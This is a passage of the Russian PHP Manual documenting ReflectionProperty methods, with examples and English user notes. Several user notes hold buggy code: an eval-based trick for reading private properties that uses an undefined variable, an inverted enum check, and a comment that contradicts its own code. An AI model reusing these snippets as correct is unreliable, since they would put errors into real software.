Единственное доступное значение — константа ReflectionAttribute::IS_INSTANCEOF, которая вместо этого будет использовать для фильтрации оператор instanceof.

Возвращаемые значения

Метод возвращает массив атрибутов ReflectionAttribute.

Примеры

Пример #1 Простой пример

<?php

#[Attribute]
class Fruit {}

#[Attribute]
class Red {}

class Basket
{
#[Fruit]
#[Red]
public string $apple = 'apple';
}

$property = new ReflectionProperty('Basket', 'apple');
$attributes = $property->getAttributes();
print_r(array_map(fn($attribute) => $attribute->getName(), $attributes));

?>

Результат выполнения приведённого примера:

Array
(
    [0] => Fruit
    [1] => Red
)

Пример #2 Фильтрация результатов по имени класса

<?php

#[Attribute]
class Fruit {}

#[Attribute]
class Red {}

class Basket
{
#[Fruit]
#[Red]
public string $apple = 'apple';
}

$property = new ReflectionProperty('Basket', 'apple');
$attributes = $property->getAttributes('Fruit');
print_r(array_map(fn($attribute) => $attribute->getName(), $attributes));

?>

Результат выполнения приведённого примера:

Array
(
    [0] => Fruit
)

Пример #3 Фильтрация результатов по имени класса, с наследованием

<?php

interface Color {}

#[Attribute]
class Fruit {}

#[Attribute]
class Red implements Color {}

class Basket
{
#[Fruit]
#[Red]
public string $apple = 'apple';
}

$property = new ReflectionProperty('Basket', 'apple');
$attributes = $property->getAttributes('Color', ReflectionAttribute::IS_INSTANCEOF);
print_r(array_map(fn($attribute) => $attribute->getName(), $attributes));

?>

Результат выполнения приведённого примера:

Array
(
    [0] => Red
)

Смотрите также

  • ReflectionClass::getAttributes() - Получает атрибуты
  • ReflectionClassConstant::getAttributes() - Получает атрибуты
  • ReflectionFunctionAbstract::getAttributes() - Получает атрибуты
  • ReflectionParameter::getAttributes() - Получает атрибуты

User Contributed Notes

There are no user contributed notes for this page.


Получает класс, в котором объявили свойство

  • « ReflectionProperty::getAttributes
  • ReflectionProperty::getDefaultValue »
  • PHP Manual
  • ReflectionProperty
  • Получает класс, в котором объявили свойство

ReflectionProperty::getDeclaringClass

(PHP 5, PHP 7, PHP 8)

ReflectionProperty::getDeclaringClass — Получает класс, в котором объявили свойство

Описание

public ReflectionProperty::getDeclaringClass(): ReflectionClass

Метод получает название класса, в котором объявили свойство.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Метод возвращает объект класса ReflectionClass.

Смотрите также

  • ReflectionProperty::getName() - Получает имя свойства

User Contributed Notes

metamarkers at gmail dot com 17-May-2013 06:30
If you're reflecting an object and get the declaring class of a property that's set but wasn't declared in any class, it returns the class of the instance.

<?php

class X {

}

$x = new X();
$x->foo = 'bar';
$reflection = new ReflectionObject($x);
echo $reflection->getProperty('foo')->getDeclaringClass()->getName(); // X

?>


Возвращает значение по умолчанию, которое объявили для свойства

  • « ReflectionProperty::getDeclaringClass
  • ReflectionProperty::getDocComment »
  • PHP Manual
  • ReflectionProperty
  • Возвращает значение по умолчанию, которое объявили для свойства

ReflectionProperty::getDefaultValue

(PHP 8)

ReflectionProperty::getDefaultValue — Возвращает значение по умолчанию, которое объявили для свойства

Описание

public ReflectionProperty::getDefaultValue(): mixed

Метод получает значение по умолчанию, которое явно или неявно объявили для свойства.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Метод возвращает значение по умолчанию, если свойство содержит значение, включая null. Метод возвращает null, если значение по умолчанию не задали. Невозможно отличить значение по умолчанию null и неинициализированное типизированное свойство. Метод ReflectionProperty::hasDefaultValue() умеет определять разницу.

Примеры

Пример #1 Пример использования метода ReflectionProperty::getDefaultValue()

<?php

class Foo
{
public $bar = 1;
public ?int $baz;
public int $boing = 0;
public function __construct(public string $bak = "default") {}
}

$ro = new ReflectionClass(Foo::class);
var_dump($ro->getProperty('bar')->getDefaultValue());
var_dump($ro->getProperty('baz')->getDefaultValue());
var_dump($ro->getProperty('boing')->getDefaultValue());
var_dump($ro->getProperty('bak')->getDefaultValue());

?>

Результат выполнения приведённого примера:

int(1)
NULL
int(0)
NULL

Смотрите также

  • ReflectionProperty::hasDefaultValue() - Проверяет, задано ли для свойства значение по умолчанию

User Contributed Notes

rwalker dot php at gmail dot com 14-Apr-2021 01:49
An equivalent for PHP 7:

<?php
$reflectionProperty = new \ReflectionProperty(Foo::class, 'bar');

//PHP 8:
$defaultValue = $reflectionProperty->getDefaultValue();

//PHP 7:
$defaultValue = $reflectionProperty->getDeclaringClass()->getDefaultProperties()['bar'] ?? null;
?>


Получает doc-комментарий свойства

  • « ReflectionProperty::getDefaultValue
  • ReflectionProperty::getModifiers »
  • PHP Manual
  • ReflectionProperty
  • Получает doc-комментарий свойства

ReflectionProperty::getDocComment

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ReflectionProperty::getDocComment — Получает doc-комментарий свойства

Описание

public ReflectionProperty::getDocComment(): string|false

Метод получает doc-комментарий свойства.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Метод возвращает doc-комментарий, если комментарий написали, иначе false.

Примеры

Пример #1 Пример использования метода ReflectionProperty::getDocComment()

<?php

class Str
{
/**
* @var int Длина строки
*/
public $length = 5;
}

$prop = new ReflectionProperty('Str', 'length');

var_dump($prop->getDocComment());

?>

Вывод приведённого примера будет похож на:

string(52) "/**
     * @var int  Длина строки
     */"

Пример #2 Объявление нескольких свойств

Doc-комментарий относится только к первому свойству, если doc-комментарий идёт перед множественным объявлением свойств.

<?php

class Foo
{
/** @var string */
public $a, $b;
}

$class = new \ReflectionClass('Foo');
foreach ($class->getProperties() as $property) {
echo $property->getName() . ': ' . var_export($property->getDocComment(), true) . PHP_EOL;
}

?>

Результат выполнения приведённого примера:

a: '/** @var string */'
b: false

Смотрите также

  • ReflectionProperty::getModifiers() - Получает модификаторы свойства
  • ReflectionProperty::getName() - Получает имя свойства
  • ReflectionProperty::getValue() - Получает значение

User Contributed Notes

Jim 23-May-2022 02:51
Unfortunately, inherited doc comments are not supported.

<?php

class A {
    /**
     * @var string
     */
    public string $prop = 'A';
}

class B extends A {
    public string $prop = 'B';
}

$prop = new ReflectionProperty('B', 'prop');
var_dump($prop->getDocComment());

?>

results in FALSE


Получает модификаторы свойства

  • « ReflectionProperty::getDocComment
  • ReflectionProperty::getName »
  • PHP Manual
  • ReflectionProperty
  • Получает модификаторы свойства

ReflectionProperty::getModifiers

(PHP 5, PHP 7, PHP 8)

ReflectionProperty::getModifiers — Получает модификаторы свойства

Описание

public ReflectionProperty::getModifiers(): int

Метод получает модификаторы свойства класса.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Метод возвращает числовое представление модификаторов. Фактическое значение модификаторов описывают «предопределённые константы».

Смотрите также

  • ReflectionProperty::isPrivate() - Проверяет, является ли свойство закрытым
  • Reflection::getModifierNames() - Получение имён модификаторов

User Contributed Notes

There are no user contributed notes for this page.


Получает имя свойства

  • « ReflectionProperty::getModifiers
  • ReflectionProperty::getType »
  • PHP Manual
  • ReflectionProperty
  • Получает имя свойства

ReflectionProperty::getName

(PHP 5, PHP 7, PHP 8)

ReflectionProperty::getName — Получает имя свойства

Описание

public ReflectionProperty::getName(): string

Метод получает имя свойства.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Метод возвращает имя отражённого свойства.

Смотрите также

  • ReflectionProperty::getValue() - Получает значение

User Contributed Notes

There are no user contributed notes for this page.


Получает тип свойства

  • « ReflectionProperty::getName
  • ReflectionProperty::getValue »
  • PHP Manual
  • ReflectionProperty
  • Получает тип свойства

ReflectionProperty::getType

(PHP 7 >= 7.4.0, PHP 8)

ReflectionProperty::getType — Получает тип свойства

Описание

public ReflectionProperty::getType(): ?ReflectionType

Метод получает тип, который связали со свойством класса.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Метод возвращает объект класса ReflectionType, если для свойства задали тип, иначе null.

Примеры

Пример #1 Пример использования метода ReflectionProperty::getType()

<?php

class User
{
public string $name;
}

$rp = new ReflectionProperty('User', 'name');
echo $rp->getType()->getName();

?>

Результат выполнения приведённого примера:

string

Смотрите также

  • ReflectionProperty::hasType() - Проверяет, есть ли у свойства тип
  • ReflectionProperty::isInitialized() - Проверяет, инициализировали ли свойство

User Contributed Notes

andr3medeiros at gmail dot com 06-Aug-2020 10:31
<?php

namespace App\Traits;

use ReflectionClass;
use Illuminate\Support\Str;
use InvalidArgumentException;

trait FieldTypeTrait {

  protected function getType(String $field, ReflectionClass $reflectedClass = null)
  {
    if(is_null($reflectedClass)) {
      $reflectedClass = new ReflectionClass($this);
    }

    if ($reflectedClass->hasProperty($field)) {
      return $this->getFieldType($field, $reflectedClass);
    }

    return null;
  }

  protected function enumValue(String $field) {
    if($this->isEnum($field)) {
      throw new InvalidArgumentException("'$field' is not an enum");
    }

    $type = $this->getType($field);
    $enumClass = $type->name;

    return new $enumClass($this->{$field});
  }

  protected function isEnum(String $field)
  {
    $type = $this->getType($field);

    if(!is_object($type)) {
      return false;
    }

    $className = $type->name;

    $reflectedClass = new ReflectionClass($className);
    $reflectedParent = $reflectedClass->getParentClass();

    return $reflectedParent->getName() == 'MyCLabs\Enum\Enum';
  }

  private function getUseStatements(): array
  {
    $reflectedThis = new ReflectionClass($this);
    $contents = file_get_contents($reflectedThis->getFileName());

    $matches = [];

    preg_match_all("/use ([\w\\\\]+)( as \w+)*/", $contents, $matches);

    $results = [];
    foreach ($matches[1] as $index => $value) {
      $results[] = [
        'namespace' => $value,
        'alias' => isset($matches[2][$index]) ? str_replace(' as ', '', $matches[2][$index]) : null
      ];
    }

    return $results;
  }

  private function getFieldType(String $field, ReflectionClass $reflectedClass)
  {
    $docComment = $reflectedClass->getProperty($field)->getDocComment();
    $type = $this->getFieldTypeByFieldDocComment($docComment);

    if (!is_object($type)) {
      $fromClass = $this->getTypeByClassDocComment($field, $reflectedClass->getDocComment());

      if(is_object($fromClass)) {
          return $fromClass;
      }
    }

    return $type;
  }

  private function getFieldTypeByFieldDocComment(String $docComment)
  {
    $matches = [];

    if (preg_match("/\@var (\w+)(\[\])*/", $docComment, $matches) === 1) {

      if (count($matches) > 0) {
        $type = $matches[1];
        $isArray = isset($matches[2]);
        $fullyQualifiedName = $this->getFullyQualifiedName($type);

        if (class_exists($fullyQualifiedName)) {
          return (object) [
            'name' => $fullyQualifiedName,
            'array' => $isArray
          ];
        }
      }

      return $type;
    }
  }

  private function getTypeByClassDocComment(String $field, String $docComment)
  {
    $matches = [];

    if (preg_match_all("/\@property (\w+) (\\$\w+)/", $docComment, $matches) > 0) {
      $type = null;
      $isArray = false;

      foreach ($matches[2] as $index => $value) {
        if($value == $field) {
          $type = $matches[1][$index];
          $isArray = Str::endsWith($type, '[]');
          $type = str_replace('[]', '', $type);
        }
      }

      if ($type) {
        $fullyQualifiedName = $this->getFullyQualifiedName($type);

        if (class_exists($fullyQualifiedName)) {
          return (object) [
            'name' => $fullyQualifiedName,
            'array' => $isArray
          ];
        }
      }

      return $type;
    }
  }

  private function getFullyQualifiedName($className)
  {
    $useStatements = collect($this->getUseStatements());
    $aliasedStatement = $useStatements->where('alias', $className);

    if ($aliasedStatement) {
      return $aliasedStatement['namespace'];
    }

    $statement = $useStatements->first(function ($statement) use ($className) {
      return Str::endsWith($statement['namespace'], $className);
    });

    if ($statement) {
      return $statement['namespace'];
    }

    return null;
  }
}
email at dronov dot vg 03-Jun-2020 02:46
class User
{
    /**
     * @var string
     */
    public $name;
}

function getTypeNameFromAnnotation(string $className, string $propertyName): ?string
{
    $rp = new \ReflectionProperty($className, $propertyName);
    if (preg_match('/@var\s+([^\s]+)/', $rp->getDocComment(), $matches)) {
        return $matches[1];
    }

    return null;
}

echo getTypeNameFromAnnotation('User', 'name');

// string


Получает значение

  • « ReflectionProperty::getType
  • ReflectionProperty::hasDefaultValue »
  • PHP Manual
  • ReflectionProperty
  • Получает значение

ReflectionProperty::getValue

(PHP 5, PHP 7, PHP 8)

ReflectionProperty::getValue — Получает значение

Описание

public ReflectionProperty::getValue(?object $object = null): mixed

Получает значение свойства.

Список параметров

object

Если свойство не статическое, необходимо передать объект, из которого требуется это свойство получить. Если вам нужно получить свойство по умолчанию, не предоставляя объект, используйте функцию ReflectionClass::getDefaultProperties().

Возвращаемые значения

Текущее значение свойства.

Список изменений

Версия | Описание
8.1.0 | Доступ к закрытым и защищённым свойствам можно сразу же получить с помощью метода ReflectionProperty::getValue(). Ранее их нужно было сделать доступными с помощью метода ReflectionProperty::setAccessible(); в противном случае выбрасывалось исключение ReflectionException.
8.0.0 | object теперь допускает значение null.

Примеры

Пример #1 Пример использования ReflectionProperty::getValue()

<?php
class Foo {
public static $staticProperty = 'foobar';

public $property = 'barfoo';
protected $privateProperty = 'foofoo';
}

$reflectionClass = new ReflectionClass('Foo');

var_dump($reflectionClass->getProperty('staticProperty')->getValue());
var_dump($reflectionClass->getProperty('property')->getValue(new Foo));

$reflectionProperty = $reflectionClass->getProperty('privateProperty');
$reflectionProperty->setAccessible(true); // требуется только до PHP 8.1.0
var_dump($reflectionProperty->getValue(new Foo));
?>

Результат выполнения приведённого примера:

string(6) "foobar"
string(6) "barfoo"
string(6) "foofoo"

Смотрите также

  • ReflectionProperty::setValue() - Устанавливает значение свойству
  • ReflectionProperty::setAccessible() - Устанавливает доступность свойства
  • ReflectionClass::getDefaultProperties() - Возвращает свойства по умолчанию
  • ReflectionClass::getStaticPropertyValue() - Возвращает значение статического свойства

User Contributed Notes

sergiy dot sokolenko at gmail dot com 28-Jun-2010 03:48
To allow protected and private properties to be accessed, you should use
ReflectionProperty::setAccessible(bool $accessible):

<?php
/** Class Foo with protected and private members */
class Foo {
    protected $bar = 'barrr!';
    private $baz = 'bazzz!';
}

$reflFoo = new ReflectionClass('Foo');
$reflBar = $reflFoo->getProperty('bar');
$reflBaz = $reflFoo->getProperty('baz');

// Set private and protected members accessible for getValue/setValue
$reflBar->setAccessible(true);
$reflBaz->setAccessible(true);

$foo = new Foo();
echo $reflBar->getValue($foo); // will output "barrr!"
echo $reflBaz->getValue($foo); // will output "bazzz!"

// You can also setValue
$reflBar->setValue($foo, "new value");
echo $reflBar->getValue($foo); // will output "new value"
?>


Проверяет, задано ли для свойства значение по умолчанию

  • « ReflectionProperty::getValue
  • ReflectionProperty::hasType »
  • PHP Manual
  • ReflectionProperty
  • Проверяет, задано ли для свойства значение по умолчанию

ReflectionProperty::hasDefaultValue

(PHP 8)

ReflectionProperty::hasDefaultValue — Проверяет, задано ли для свойства значение по умолчанию

Описание

public ReflectionProperty::hasDefaultValue(): bool

Проверяет, задано ли для свойства значение по умолчанию, включая null. Возвращает false для типизированных свойств без заданного значения по умолчанию и для динамически определяемых свойств.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Если для свойства задано значение по умолчанию (включая null), то возвращает true. Если свойство типизированное и для него не задано значение по умолчанию, либо если это динамически определяемое свойство, то возвращает false.

Примеры

Пример #1 Пример использования ReflectionProperty::hasDefaultValue()

<?php
class Foo {
public $bar;
public ?int $baz;
public ?int $foo = null;
public int $boing;

public function __construct()
{
$this->ping = '';
}
}

$ro = new ReflectionObject(new Foo());
var_dump($ro->getProperty('bar')->hasDefaultValue());
var_dump($ro->getProperty('baz')->hasDefaultValue());
var_dump($ro->getProperty('foo')->hasDefaultValue());
var_dump($ro->getProperty('boing')->hasDefaultValue());
var_dump($ro->getProperty('ping')->hasDefaultValue()); // Динамическое свойство
var_dump($ro->getProperty('pong')->hasDefaultValue()); // Неопределённое свойство
?>

Результат выполнения приведённого примера:

bool(true)
bool(false)
bool(true)
bool(false)
bool(false)

Fatal error: Uncaught ReflectionException: Property Foo::$pong does not exist in example.php

Смотрите также

  • ReflectionProperty::getDefaultValue() - Возвращает значение по умолчанию, которое объявили для свойства

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, есть ли у свойства тип

  • « ReflectionProperty::hasDefaultValue
  • ReflectionProperty::isDefault »
  • PHP Manual
  • ReflectionProperty
  • Проверяет, есть ли у свойства тип

ReflectionProperty::hasType

(PHP 7 >= 7.4.0, PHP 8)

ReflectionProperty::hasType — Проверяет, есть ли у свойства тип

Описание

public ReflectionProperty::hasType(): bool

Метод проверяет, указали ли свойству тип.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Метод возвращает true, если свойству задали тип, иначе false.

Примеры

Пример #1 Пример использования ReflectionProperty::hasType()

<?php

class User
{
public string $name;
}

$rp = new ReflectionProperty('User', 'name');
var_dump($rp->hasType());

?>

Результат выполнения приведённого примера:

bool(true)

Смотрите также

  • ReflectionProperty::getType() - Получает тип свойства
  • ReflectionProperty::isInitialized() - Проверяет, инициализировали ли свойство

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли значение свойством по умолчанию

  • « ReflectionProperty::hasType
  • ReflectionProperty::isInitialized »
  • PHP Manual
  • ReflectionProperty
  • Проверяет, является ли значение свойством по умолчанию

ReflectionProperty::isDefault

(PHP 5, PHP 7, PHP 8)

ReflectionProperty::isDefault — Проверяет, является ли значение свойством по умолчанию

Описание

public ReflectionProperty::isDefault(): bool

Проверяет, является ли значение свойством заданным на этапе компиляции или установлено динамически во время исполнения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если свойство объявлено во время компиляции, либо false, если оно было создано во время выполнения.

Примеры

Пример #1 Пример использования ReflectionProperty::isDefault()

<?php
class Foo {
public $bar;
}

$o = new Foo();
$o->bar = 42;
$o->baz = 42;

$ro = new ReflectionObject($o);
var_dump($ro->getProperty('bar')->isDefault());
var_dump($ro->getProperty('baz')->isDefault());
?>

Результат выполнения приведённого примера:

bool(true)
bool(false)

Смотрите также

  • ReflectionProperty::getValue() - Получает значение

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, инициализировали ли свойство

  • « ReflectionProperty::isDefault
  • ReflectionProperty::isPrivate »
  • PHP Manual
  • ReflectionProperty
  • Проверяет, инициализировали ли свойство

ReflectionProperty::isInitialized

(PHP 7 >= 7.4.0, PHP 8)

ReflectionProperty::isInitialized — Проверяет, инициализировали ли свойство

Описание

public ReflectionProperty::isInitialized(?object $object = null): bool

Метод проверяет, инициализировали ли свойство.

Список параметров

object

Чтобы метод извлёк нестатическое свойство, в метод передают объект.

Возвращаемые значения

Метод возвращает false для типизированных свойств, которым не присвоили значение, и для свойств, к которым явно применили функцию unset(). Для остальных свойств метод возвращает true.

Ошибки

Метод выбросит исключение ReflectionException, если свойство недоступно. Метод ReflectionProperty::setAccessible() умеет открывать доступ к защищённым и закрытым свойствам.

Список изменений

Версия | Описание
8.0.0 | Параметр object теперь принимает значение null.

Примеры

Пример #1 Пример использования метода ReflectionProperty::isInitialized()

<?php

class User
{
public string $name;
}

$rp = new ReflectionProperty('User', 'name');
$user = new User;
var_dump($rp->isInitialized($user));
$user->name = 'Nikita';
var_dump($rp->isInitialized($user));

?>

Результат выполнения приведённого примера:

bool(false)
bool(true)

Смотрите также

  • ReflectionProperty::hasType() - Проверяет, есть ли у свойства тип

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли свойство закрытым

  • « ReflectionProperty::isInitialized
  • ReflectionProperty::isPromoted »
  • PHP Manual
  • ReflectionProperty
  • Проверяет, является ли свойство закрытым

ReflectionProperty::isPrivate

(PHP 5, PHP 7, PHP 8)

ReflectionProperty::isPrivate — Проверяет, является ли свойство закрытым

Описание

public ReflectionProperty::isPrivate(): bool

Проверяет, является ли свойство закрытым.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если свойство закрытое, false в противном случае.

Смотрите также

  • ReflectionProperty::isPublic() - Проверяет, является ли свойство общедоступным
  • ReflectionProperty::isProtected() - Проверяет, является ли свойство защищённым
  • ReflectionProperty::isReadOnly() - Проверяет, является ли свойство readonly-свойством
  • ReflectionProperty::isStatic() - Проверяет, определили ли свойство статическим

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, определено ли свойство в конструкторе

  • « ReflectionProperty::isPrivate
  • ReflectionProperty::isProtected »
  • PHP Manual
  • ReflectionProperty
  • Проверяет, определено ли свойство в конструкторе

ReflectionProperty::isPromoted

(PHP 8)

ReflectionProperty::isPromoted — Проверяет, определено ли свойство в конструкторе

Описание

public ReflectionProperty::isPromoted(): bool

Проверяет, определено ли свойство в конструкторе.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если свойство определено в конструкторе, false в противном случае.

Примеры

Пример #1 Пример использования ReflectionProperty::isPromoted()

<?php
class Foo {
public $baz;

public function __construct(public $bar) {}
}

$o = new Foo(42);
$o->baz = 42;

$ro = new ReflectionObject($o);
var_dump($ro->getProperty('bar')->isPromoted());
var_dump($ro->getProperty('baz')->isPromoted());
?>

Результат выполнения приведённого примера:

bool(true)
bool(false)

Смотрите также

  • ReflectionProperty::isDefault() - Проверяет, является ли значение свойством по умолчанию
  • ReflectionProperty::isInitialized() - Проверяет, инициализировали ли свойство
  • ReflectionProperty::getValue() - Получает значение

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли свойство защищённым

  • « ReflectionProperty::isPromoted
  • ReflectionProperty::isPublic »
  • PHP Manual
  • ReflectionProperty
  • Проверяет, является ли свойство защищённым

ReflectionProperty::isProtected

(PHP 5, PHP 7, PHP 8)

ReflectionProperty::isProtected — Проверяет, является ли свойство защищённым

Описание

public ReflectionProperty::isProtected(): bool

Проверяет, является ли свойство защищённым.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если свойство защищённое, false в противном случае.

Смотрите также

  • ReflectionProperty::isPublic() - Проверяет, является ли свойство общедоступным
  • ReflectionProperty::isPrivate() - Проверяет, является ли свойство закрытым
  • ReflectionProperty::isReadOnly() - Проверяет, является ли свойство readonly-свойством
  • ReflectionProperty::isStatic() - Проверяет, определили ли свойство статическим

User Contributed Notes

Ievgen Iefimenko the_boss at bk dot ru 09-Jun-2012 09:44
<?php

/**
* Return 1 if property is public,
* else return void
*/

class Classname{
    private $variable;
}

$obj = new Classname;
$rp = new ReflectionProperty($obj,'variable');
echo $rp->isPrivate();
?>


Проверяет, является ли свойство общедоступным

  • « ReflectionProperty::isProtected
  • ReflectionProperty::isReadOnly »
  • PHP Manual
  • ReflectionProperty
  • Проверяет, является ли свойство общедоступным

ReflectionProperty::isPublic

(PHP 5, PHP 7, PHP 8)

ReflectionProperty::isPublic — Проверяет, является ли свойство общедоступным

Описание

public ReflectionProperty::isPublic(): bool

Проверяет, является ли свойство общедоступным.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если свойство общедоступное, false в противном случае.

Смотрите также

  • ReflectionProperty::isProtected() - Проверяет, является ли свойство защищённым
  • ReflectionProperty::isPrivate() - Проверяет, является ли свойство закрытым
  • ReflectionProperty::isReadOnly() - Проверяет, является ли свойство readonly-свойством
  • ReflectionProperty::isStatic() - Проверяет, определили ли свойство статическим

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли свойство readonly-свойством

  • « ReflectionProperty::isPublic
  • ReflectionProperty::isStatic »
  • PHP Manual
  • ReflectionProperty
  • Проверяет, является ли свойство readonly-свойством

ReflectionProperty::isReadOnly

(PHP 8 >= 8.1.0)

ReflectionProperty::isReadOnly — Проверяет, является ли свойство readonly-свойством

Описание

public ReflectionProperty::isReadOnly(): bool

Проверяет, является ли свойство readonly-свойством.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если свойство является readonly-свойством, в противном случае возвращает false.

Смотрите также

  • ReflectionProperty::isPublic() - Проверяет, является ли свойство общедоступным
  • ReflectionProperty::isProtected() - Проверяет, является ли свойство защищённым
  • ReflectionProperty::isPrivate() - Проверяет, является ли свойство закрытым
  • ReflectionProperty::isStatic() - Проверяет, определили ли свойство статическим

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, определили ли свойство статическим

  • « ReflectionProperty::isReadOnly
  • ReflectionProperty::setAccessible »
  • PHP Manual
  • ReflectionProperty
  • Проверяет, определили ли свойство статическим

ReflectionProperty::isStatic

(PHP 5, PHP 7, PHP 8)

ReflectionProperty::isStatic — Проверяет, определили ли свойство статическим

Описание

public ReflectionProperty::isStatic(): bool

Метод проверяет, определи ли свойство как статическое.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Метод возвращает true, если свойство статическое, иначе false.

Смотрите также

  • ReflectionProperty::isPublic() - Проверяет, является ли свойство общедоступным
  • ReflectionProperty::isProtected() - Проверяет, является ли свойство защищённым
  • ReflectionProperty::isReadOnly() - Проверяет, является ли свойство readonly-свойством
  • ReflectionProperty::isPrivate() - Проверяет, является ли свойство закрытым

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает доступность свойства

  • « ReflectionProperty::isStatic
  • ReflectionProperty::setValue »
  • PHP Manual
  • ReflectionProperty
  • Устанавливает доступность свойства

ReflectionProperty::setAccessible

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

ReflectionProperty::setAccessible — Устанавливает доступность свойства

Описание

public ReflectionProperty::setAccessible(bool $accessible): void

Метод открывает доступ к защищённому или закрытому свойству методам ReflectionProperty::getValue() и ReflectionProperty::setValue().

Замечание: С PHP 8.1.0 вызов метода утратил смысл; свойства доступны по умолчанию.

Список параметров

accessible

Значение true делает свойство доступным, false — закрывает доступ к свойству.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Определение простого класса

<?php

class MyClass
{
private $foo = 'bar';
}

$property = new ReflectionProperty("MyClass", "foo");
$property->setAccessible(true);

$obj = new MyClass();
echo $property->getValue($obj);
echo $obj->foo;

?>

Вывод приведённого примера будет похож на:

bar
Fatal error: Uncaught Error: Cannot access private property MyClass::$foo in /in/WJqTv:12

Смотрите также

  • ReflectionProperty::isPrivate() - Проверяет, является ли свойство закрытым
  • ReflectionProperty::isProtected() - Проверяет, является ли свойство защищённым

User Contributed Notes

matthieu at mnapoli dot fr 19-Oct-2012 08:50
Note that the property will only become accessible using the ReflectionProperty class. The property is still private or protected in the class instances.

<?php
class MyClass {
     private $myProperty = true;
}

$class = new ReflectionClass("MyClass");
$property = $class->getProperty("myProperty");
$property->setAccessible(true);

$obj = new MyClass();
echo $property->getValue($obj); // Works
echo $obj->myProperty; // Doesn't work (error)
?>
Yzmir Ramirez 15-Oct-2010 05:31
Have you tried:

<?php

echo "PHP Version: ".phpversion()."\n";

class Foo
{
    private   $bar  = "private";
    protected $bar2 = "protected";
    public    $bar3 = "public";
}

$obj = new Foo;

$arr = (array)$obj;

print_r($arr);
?>

Output:

PHP Version: 5.2.12
Array
(
    [Foobar] => private
    [*bar2] => protected
    [bar3] => public
)

PHP Version: 5.1.6
Array
(
    [Foobar] => private
    [*bar2] => protected
    [bar3] => public
)
Rob McVey 11-Jun-2010 10:11
If you are using < PHP 5.3 and need to get the private attributes and values, you can use this method:

This is what you are doing:

<?php
$obj_with_privates = new MyObject();
$class     = get_class($obj_with_privates);
$vars     = get_object_vars($obj_with_privates);
//will not show private attributes
print_r($vars);

$reflection = new ReflectionClass( $class );
$attributes = $reflection->getProperties();
//still no private access!
print_r($attributes);
?>

This is what you should do:

<?php
$obj_with_privates = new MyObject();

$class         = get_class( $obj_with_privates );
$reflection = new ReflectionClass( $class );
$abstract    = $reflection->getMethods( ReflectionMethod::IS_ABSTRACT );
$priv_attr  = $reflection->getProperties( ReflectionProperty::IS_PRIVATE );
$privates   = array();
$parent     = get_parent_class( $class );
$child         = $class;
$constructor = $reflection->getConstructor();

//If the class has abstract methods you need to implement them
$abstr_methods = "";
if(sizeof($abstr_methods))
{
    foreach($abstract as $method)
    {
        $mname = $method->name;
        $abstr_methods .= "public function $mname(){return false;}";
    }
}

//Convert private attributes to public attributes
if(sizeof($priv_attr))
{
    $parseable = unserialize(str_replace("\0$class\0", "\0*\0", serialize($obj)));
    foreach($priv_attr as $attribute)
    {
        $aname = $attribute->name;
        $privates[$aname] = $parseable->$aname;
    }
}

$temp_child_class = "temp" . str_replace("_", "", "$class");

//You can gain access to protected attributes by extending the target class
$class_def = "
class $temp_child_class extends $class{
    $constructor
    public function reflect_getmyvars(){
        return get_object_vars(\$this);
    }
    $abstr_methods
}
";

//place class definition in memory
eval($class_def);

//generate object from dynamic class
$tcobj =@ new $temp_child_class;
//call the method we added to the object (to access protected vars)
$vars = $tcobj->reflect_getmyvars();

$attribs = array_merge($vars, $privates);

//will now show private attributes
print_r($attribs);
?>


Устанавливает значение свойству

  • « ReflectionProperty::setAccessible
  • ReflectionProperty::__toString »
  • PHP Manual
  • ReflectionProperty
  • Устанавливает значение свойству

ReflectionProperty::setValue

(PHP 5, PHP 7, PHP 8)

ReflectionProperty::setValue — Устанавливает значение свойству

Описание

public ReflectionProperty::setValue(object $object, mixed $value): void
public ReflectionProperty::setValue(mixed $value): void

Метод задаёт, или изменяет, значение свойства.

Замечание: Начиная с PHP 8.3.0 вызов метода с единственным аргументом устарел, вместо него вызывают метод ReflectionClass::setStaticPropertyValue().

Список параметров

object

Чтобы метод изменил нестатическое свойство, в метод передают объект. Если свойство статическое, нужно передать значение null.

value

Новое значение.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Список изменений

Версия | Описание
8.3.0 | Вызов метода с единственным аргументом устарел, вместо него для изменения статического свойства вызывают метод ReflectionClass::setStaticPropertyValue().
8.1.0 | Доступ к закрытым и защищённым свойствам сразу получают методом ReflectionProperty::getValue(). Раньше свойства требовалось сделать доступными методом ReflectionProperty::setAccessible(), иначе метод выбрасывал исключение ReflectionException.

Примеры

Пример #1 Пример использования метода ReflectionProperty::setValue()

<?php

class Foo
{
public static $staticProperty;

public $property;
protected $privateProperty;
}

$reflectionClass = new ReflectionClass('Foo');

// С PHP 8.3 больше не нужно вызывать метод setValue для установки
// значения статического свойства, вместо него вызвают метод setStaticPropertyValue()
$reflectionClass->setStaticPropertyValue('staticProperty', 'foo');
var_dump(Foo::$staticProperty);

$foo = new Foo;

$reflectionClass->getProperty('property')->setValue($foo, 'bar');
var_dump($foo->property);

$reflectionProperty = $reflectionClass->getProperty('privateProperty');
